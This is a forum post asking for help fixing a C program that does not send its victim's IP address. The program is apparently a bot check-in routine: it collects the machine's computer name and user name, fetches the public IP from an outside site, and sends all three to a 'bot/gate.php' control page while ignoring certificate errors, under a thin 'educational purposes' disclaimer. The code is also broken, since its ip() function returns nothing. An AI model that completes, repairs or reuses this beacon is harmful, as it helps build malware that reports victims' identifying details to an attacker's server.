print character from char* () function

[StoneIce]

Ok This Code sends data from the application to the php page, Tested and works Ok.

but the char* ip sends blank data , been wondering why it behaves so.

It sends the computer as well as the computer User name to the server , but the IP it does not, i am wondering if someone could give me a hand to print characters from a char function.

Everything coded here is strictly for educational purposes.

Code looks like this

//#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <Wininet.h>

#define GET 0
#define localhost Host

#pragma comment(lib,"wininet")
#pragma comment(lib,"urlmon")

char* ip();
char* myHwid();

	char* myip = ip();

	char* comp = getenv("COMPUTERNAME");

	char* user = getenv("USERNAME");

	char* ip ()
	{
	  HINTERNET hInternet , hFile;
	  DWORD rSize;
	  char ipv4[50];
	  hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	  hFile = InternetOpenUrlA(hInternet,"http://housenaija.com/ip/ip.php",NULL,0,INTERNET_FLAG_RELOAD,0);
	  InternetReadFile(hFile,&ipv4,sizeof(ipv4),&rSize);
	  ipv4[rSize] ='\0';
	  InternetCloseHandle(hFile);
	  InternetCloseHandle(hInternet);

	}


void Request(int Method, LPCSTR Host, LPCSTR url, LPCSTR header, LPSTR data)
{

    HINTERNET internet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    HINTERNET connect = InternetConnectA(internet, Host, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);

    HINTERNET request = HttpOpenRequestA(connect, GET, url, "HTTP/1.1", NULL, NULL,
                INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
                    INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
                    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP  |
                    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS |
                    INTERNET_FLAG_NO_AUTH |
                    INTERNET_FLAG_NO_CACHE_WRITE |
                    INTERNET_FLAG_NO_UI |
                    INTERNET_FLAG_PRAGMA_NOCACHE |
                    INTERNET_FLAG_RELOAD, NULL);

                if(request != NULL)
            {
                int datalen = 0;
                if(data != NULL) datalen = strlen(data);
                int headerlen = 0;
                if(header != NULL) headerlen = strlen(header);

                //http://msdn.microsoft.com/en-us/library/windows/desktop/aa384247%28v=vs.85%29.aspx
                HttpSendRequestA(request, header, headerlen, data, datalen);

                //http://msdn.microsoft.com/en-us/library/windows/desktop/aa384350%28v=vs.85%29.aspx
                InternetCloseHandle(request);
            }
                InternetCloseHandle(internet);

}

void sendpcInfo()
    {
        char URL[1024];
        char* geturi = "bot/gate.php?myip=%s&comp=%s&compUser=%s";
        wsprintfA(URL,geturi,myip,comp,user);
        Request(GET,"localhost",URL,NULL,NULL);
        MessageBoxA(NULL,"Sent!","",MB_OK);
    }

int main()
{
	sendpcInfo();
    system("pause");
}
